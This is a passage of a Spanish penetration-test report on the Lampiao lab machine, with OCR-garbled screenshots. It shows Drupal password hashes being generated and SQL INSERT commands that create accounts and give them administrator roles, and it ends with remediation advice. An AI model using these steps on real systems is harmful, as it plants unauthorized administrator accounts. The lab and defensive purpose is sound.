field_revision_field_tags
file_managed

file_usage

filter

filter format

flood

history

image_effects
image_styles
menu_custom

menu_1links

menu_router

node

node_access

node comment statistics
node_revision

node_type

queue

rdf_mapping

registry

registry file

role
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role _permission
| search _dataset

| search_index

| search _node links
| search _total

| semaphore

| sequences

| sessions

| shortcut set

| shortcut set users
| system

| taxonomy_index

| taxonomy_term_data
| taxonomy_term_hierarchy
| taxonomy_vocabulary

| url_alias
| users
| users roles
| variable
| watchdog
+

73 rows in set (0.00 sec)

muestra la ejecucion del comando nano hash-drupal. Esto indica que se esta
utilizando el editor de texto Nano para crear o abrir un archivo llamado hash-drupal. Este
archivo probablemente contendréd un hash de contrasefia de Drupal, una cadena de caracteres
alfanuméricos encriptados, que se podria usar en un ataque de fuerza bruta para intentar
descifrar una contrasefa.

L

hash—drupéli

[lustracion 29 Script hash-drupal.php (generacion de hashes de Drupal)

La imagen muestra el contenido del archivo hash-drupal.php. Se trata de un script

en PHP disefiado especificamente para generar un hash de contraseiia valido para Drupal.
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El cédigo incluye funciones como password_generate salt y password_crypt, las cuales
toman una contrasefia de texto plano ($password) y la convierten en una cadena de caracteres
encriptada. Este proceso de hashing es crucial para la seguridad, ya que permite almacenar

contrasefias de forma segura en la base de datos sin revelar su valor original.

GNU_nano 8.4 hash_drupal.php

La imagen muestra la ejecucion del script hash_drupal.php visto anteriormente. Al

pasarle una contrasefia entre comillas "ciber", "red2025'"como argumento, el script la

procesa y devuelve el hash de Drupal correspondiente.

|1
hash_drupal.php "ciber”
$S$DL50NOZgGsr . viUfYNK1I78LPHdr8061n/0ABV5tqiWKhZpMp7bD

1
) - ~ |

hash_drubai.php "red2025"

$S$D. 41Zk174GTvIm@bnpBIItxawzxAaVHVHCXxhXWitWuUYdIplleFp

=
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El proceso documentado muestra la creacion manual de usuarios en una base de datos
de Drupal. La secuencia comienza con la creacion de un script PHP para generar hashes de
contraseia para usuarios como ciber y red2025. Estos hashes son luego insertados
directamente en la tabla users mediante comandos INSERT INTO de MySQL, lo que

permite crear cuentas sin usar la interfaz de registro de Drupal.

Ilustracion 30 Resultado de generar hashes y comandos INSERT INTO users

La imagen muestra dos comandos INSERT INTO ejecutados en la base de datos de

Drupal. Estos comandos insertan nuevos registros directamente en la tabla users.

En cada comando se crea un nuevo usuario:

> El primer comando crea un usuario con el nombre ciber y su hash de contrasefia

correspondiente.

> El segundo comando crea un usuario con el nombre red2025 y su respectivo hash de

contrasena.

Esto demuestra una forma manual de crear cuentas de usuario directamente en la base de
datos, sin utilizar la interfaz de Drupal, lo que es comun en tareas de administracion o

seguridad.
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[lustracion 31 Consulta SELECT * FROM role; (roles disponibles en Drupal)

La imagen muestra el resultado del comando SELECT * FROM role; en MySQL.
Esta consulta recupera todos los datos de la tabla role, la cual almacena los roles de usuario

en un sitio Drupal
La tabla tiene tres columnas principales:

> rid (Role ID): Un identificador tnico para cada rol.

> name: El nombre del rol, como administrator, anonymous user, authenticated

user y writer.

> weight: Un valor numérico que define el orden en que se listan los roles.

=]
1
=]

> select * from role;

x|
[l
(=

name weight
administrator
aAnonymo ser
authent ted user
writer

fr= B ek

+ +
I I
+ +
| 3|
| |
| |
| |
+ +

+————t — 4
+————t — 4

rows in set (0.01 s

mysql> ]

o

Ilustracion 32 Consulta SELECT * FROM users_roles; (asignacion de roles a usuarios)
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Se muestran la relacion entre los usuarios y sus roles en una base de datos de Drupal.
La primera imagen, al ejecutar SELECT * FROM role; , revela los roles disponibles en el
sistema, como administrator y writer , La segunda imagen, con la consulta SELECT *
FROM users_roles;, muestra la tabla de union que asigna roles a los usuarios. Se puede ver
que el usuario con uid 1 tiene el rol con rid 3, mientras que el usuario con uid 2 tiene
asignado el rol con rid 4, lo cual demuestra como se gestionan los permisos a nivel de base

de datos.

* from users_roles;

2 rows in set (0.01 sec)

mysql> ]

[ustracion 33 Insercion de roles de administrador en users_roles (evidencia)

La secuencia de imagenes documenta el control manual de usuarios en un sitio
Drupal a través de MySQL. Muestra la creacion de un script PHP para generar hashes de
contrasefia y su insercion directa en la tabla users para crear nuevas cuentas. Posteriormente,
se utiliza la tabla users roles para asignar manualmente el rol de administrador,
demostrando un método directo y de bajo nivel para gestionar permisos y credenciales,
evitando la interfaz de usuario de Drupal.

mysql> INSERT INTO users_roles (uid, rid) VALUES (7, 3);
Query OK, 1 row affected (0.02 sec)

mysql> INSERT INTO users_roles (uid, rid) VALUES (8, 3);
Query OK, 1 row affected (0.00 sec)
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A continuacion, se inspeccionaron las tablas role y users_roles para comprender la
estructura de permisos del sistema. Se identificd el administrator con su rid (Role ID)
correspondiente. Finalmente, un comando INSERT INTO users roles se utilizo para
asignar el rol de administrador a usuarios especificos (uid 7 y uid 8), elevando sus privilegios,
la ultima consulta SELECT en la tabla users_roles confirmé que la asignacion de roles se
completd correctamente, demostrando un control directo y completo sobre la administracion

de usuarios del sitio

select * from users_roles:

uid | rid

o

Ct
+ +
I I
+ +
I 31
I I
I I
I I
| I
+ +

N
I
..
I
I
I
I
I
-
5

5 rows in set (0.00 s

Finalmente, se muestran las tablas de roles y se demuestra como se asignan los roles
de administrador a los nuevos usuarios ciber y red2025 en la tabla users_roles. El proceso
concluye con un intento de iniciar sesion en el sitio web con las nuevas credenciales, que

falla debido a un error de credenciales, lo que sugiere que se debe usar el usuario "tiago".
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Home

U 1 . — m ey~ 3
SeL ol Lampiao, her6i ou vildo do Sertao?

Username * Submitted by tiago on Thu, 04/19/2018 - 18:25
ciber [
Password *

* Create new account

© Request new password

Log in iy Para uns, um idolo. Para outros, assassino. Lampido, uma das figuras mais misteriosas da histéria do Brasil, passt

vida sendo temido e idolatrado pelas pessoas que aterrorizava e amparava. Conheca aqui sua trajetoria.

Read more Log in or register to post comme

Ilustracion 34 Intento de inicio de sesion en la web con nuevas cuentas

Home
User login o o o -
£ Lampido, her6i ou vildo do Sertao?
Username * Submitted by tiago on Thu, 04/19/2018 - 18:25
red2025
Password *

o Create new account

* Request new password

Log in Para uns, um idolo. Para outros, assassino. Lampido, uma das figuras mais misteriosas da histéria do Brasil, pas
vida sendo temido e idolatrado pelas pessoas que aterrorizava e amparava. Conhega aqui sua trajetdria.

Read more  Log in or register to post comr

First article...
Submitted by Eder on Fri, 04/20/2018 - 13:55

Just testing..
LuizGonzaga-LampiaoFalou.mp3

Node 2 is not working :(

Dand mmnns | anin ac cnninbae in nank ar
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Lampiao

o Sorry, unrecognized username or password. Have you forgotten your password?

s log Lampido, her6i ou vildo do Sertao?
Username * Submitied by tago on Thy, 04/192018 - 1825
Passwerd *

o Crrate new accoust
* Request new password

Log ll Para uns, um idolo. Para outros, assassino. Lampido, uma das figuras maks misteriosas da histéria do Brasil, pass
vida sendo temido e idolatrado pelas pessoas que aterrorizava e amparava. Conhega aqui sua trajetoria.

Read more Lo in or regester 1o post comm

First article...
Submitted by Eder on Fn, 04°20:2018 - 1355
Just testing,.
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Lampiao

Home

0 Sorry, unrecognized username or password. Have you forgotten your password?

User logi i Sy =
i Lampido, her6i ou vildo do Sertao?
Username * Submitted by tiago on Thu, 04/19/2018 - 18:25

Password *

e Create new account

* Request new password

~ Login Para uns, um idolo. Para outros, assassino. Lampido, uma das figuras mais misteriosas da histéria do Brasil, pass(

vida sendo temido e idolatrado pelas pessoas que aterrorizava e amparava, Conhega aqui sua trajetria.

Read more  Log in or register to post comme

First article...
Submitted by Eder on Fri, 04/20/2018 - 13:55
Just testing..
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7 PLANTEAMIENTO DEL PROBLEMA

La maquina Lampiao presentaba multiples fallas de seguridad: contrasefias débiles (o
expuestas), servicios innecesarios abiertos, codigo del CMS con credenciales en texto claro
(settings.php) y un kernel vulnerable (Dirty Cow). Estas condiciones permiten a un atacante
desde la red descubrir servicios, obtener credenciales por fuerza bruta y finalmente escalar

privilegios a root, comprometiendo confidencialidad, integridad y disponibilidad del sistema.
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8 SOLUCIONES

» Actualizacion y parcheo: aplicar actualizaciones del sistema y del kernel para

corregir vulnerabilidades como Dirty Cow.

> Gestion de contraseiias: usar contrasefias fuertes, politicas de expiracion y

autenticacion multifactor donde sea posible.

> Revision de configuracion del CMS: evitar colocar credenciales en archivos
accesibles; usar variables de entorno o gestores de secretos y limitar permisos de

archivos (chmod/chown).

» Restriccion de servicios: cerrar o filtrar puertos no necesarios mediante ufw/firewall

y listas de acceso.

» Uso correcto de sudoers: editar sudoers mediante visudo y preferir archivos en

/etc/sudoers.d/ en lugar de ediciones directas.

» Monitoreo y logging: activar auditoria de accesos, alertas y revisar logs con

herramientas (fail2ban, auditd) para detectar intentos de intrusion.

» Pruebas periodicas: programar pentests y revisiones de configuracion en intervalos

regulares.
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9 ERRORES DETECTADOS

>

vV V VYV V¥V

Credenciales almacenadas en texto: settings.php contenia usuario y contrasefa de
BD.

Contraseiias débiles: posibilitaron el éxito del ataque por diccionario/hydra.
Kernel sin parchear: vulnerabilidad Dirty Cow permitid escalada.

Permisos mal gestionados: edicion directa de /etc/sudoers en vez de visudo.
Exposicion de servicios no controlada: puertos abiertos innecesarios aumentan la
superficie de ataque.

Falta de segmentacion y monitoreo: ausencia de controles que detectaran o

bloquearan los intentos de intrusion.
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10 RECOMENDACION

» Actualizar kernel y paquetes inmediatamente y verificar parches de seguridad

criticos.

> Rotar credenciales detectadas, cambiar contrasefas y remover cualquier credencial

hardcodeada del codigo.

» Implementar firewall y politicas de acceso por IP para servicios administrativos.

» Configurar autenticacion fuerte para SSH (deshabilitar root por SSH, usar claves

publicas y MFA).

» Corregir sudoers usando visudo y migrar reglas a /etc/sudoers.d/.

» Auditoria y backups: habilitar copias y registrar cambios; probar restauracion.

» Formacién: capacitar administradores en buenas practicas para evitar

configuraciones inseguras.
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11 CONCLUSION

Las pruebas realizadas demostraron que la combinacion de contrasefias débiles,
credenciales expuestas en archivos del CMS y un kernel sin parchear permitieron
comprometer Lampiao por completo. El ejercicio resalta la importancia del mantenimiento
preventivo, buenas practicas de configuraciéon y controles de acceso. Aplicando las

soluciones propuestas se puede reducir significativamente el riesgo de intrusion.
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